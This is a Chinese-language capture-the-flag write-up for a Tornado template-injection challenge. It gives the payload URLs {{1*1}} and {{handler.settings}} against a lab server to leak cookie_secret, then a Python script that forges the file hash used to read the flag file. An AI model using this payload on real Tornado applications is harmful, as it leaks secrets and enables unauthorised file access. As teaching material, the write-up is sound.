打开题目我们可以看到如下界面:
点开flag.txt看到
/flag.txt
flag in /fllllllllllllag
提示我们flag所在的文件。
点开welcome.txt看到render,这里就涉及到本题目的核心知识,模板注入。这个等下再讲。
接下来,点开hints就看到
/hints.txt
md5(cookie_secret+md5(filename))
涉及到知识有
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
贴一篇关于模板注入的文章https://xz.aliyun.com/t/6885
综合上面三点,我们的思路其实已经非常明晰了。首先要构造模板注入传递参数,然后再寻找cookie_secret,再用cookie_secret和我们要找的文件结合进行md5加密组成filehash,最后访问该文件得到flag。
首先,我们构造报错,得到
http://111.200.241.244:56869/error?msg=Error
可以看到参数注入点就是msg,接着我们再进行注入尝试:
http://111.200.241.244:56869/error?msg={{1*1}}
显示如图
这里我们可以看到是有回显的,表示确实存在注入。
所以,接着我们再用payload
http://111.200.241.244:56869/error?msg={{handler.settings}}
来获取cookie_secret
结果如图所示
接下来我们用python脚本进行加密。
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="8a12a2cd-7237-476e-85a8-8a01289e7b05"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
得到filehash:ae7549fbc91a9b4aee8510591c010cac
(这里请注意每个人做这道题得到的cookie_secret是不一样的,所以加密得到的filehash也不一样,自己在做题时一定要先得到cookie_secret在进行加密)。
最后我们执行payload
http://111.200.241.244:56869/file?filename=/fllllllllllllag&filehash=ae7549fbc91a9b4aee8510591c010cac
得到flag